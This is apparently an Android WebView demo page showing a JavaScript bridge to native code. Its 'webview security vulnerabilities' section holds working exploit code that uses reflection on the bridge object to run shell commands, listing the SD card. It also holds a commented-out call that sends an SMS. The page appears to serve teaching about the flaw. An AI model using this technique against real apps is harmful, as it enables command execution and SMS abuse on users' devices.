<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>Title</title>
    <script type="text/javascript">

        window.onload = function (){
//            alert("2.html loaded");
        };


        function btnclick (){
//            alert("button clicked");
            document.getElementById("what-show");
            westmoney.showMessage(document.getElementById("what-show").value);
        }


        /*this will launch a native view*/
        function openlogin () {
            //alert("login");
            westmoney.showLoginView();

        }

        /*callback js for native method*/
        function showLoginResult(result){
            alert(result);
            document.getElementsByTagName("div")[0].innerText=result;

        }

    </script>
</head>
<body>
<section>JS call Native Method</section>
<input id="what-show" type="text" value="" placeholder="what to toast..." required >
<input type="button" value="click me" onclick="btnclick()" />


<section>JS open native view</section>
<a href="#" onclick="openlogin()">login</a>
<br/>
<section>native will callback js</section>
<label>result:</label>
<div></div>

<br/>

<section>
    define your own protocols
</section>
<a href="protocols?action=startActivity">this is a demo for interception </a>

<br/>
<section>
    webview security vulnerabilities

</section>


<a href="#" onclick="tryit()">try it!</a>

</body>

<script type="text/javascript">

    function getContents(inputStream) {
        var contents = "" + i;
        var b = inputStream.read();
        var i = 1;
        while (b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            contents += "\n"
            b = inputStream.read();
        }
        i = i + 1;
        return contents;
    }

    function execute(cmdArgs) {
        return westmoney.getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null).exec(cmdArgs);
    }

    function execute2(cmdArgs) {
        for (var obj in window) {
            if ("getClass" in window[obj]) {
                alert(obj);
                return window[obj].getClass().forName("java.lang.Runtime")
                        .getMethod("getRuntime", null).invoke(null, null).exec(cmdArgs);
            }
        }
    }


    function tryit() {
        //alert("try it")
        var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
        document.write(getContents(res.getInputStream()));

        /*
         var obj = westmoney.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
         obj.sendTextMessage("18916223156",null,"test",null,null);
         */

    }

    //execute2();
</script>
</html>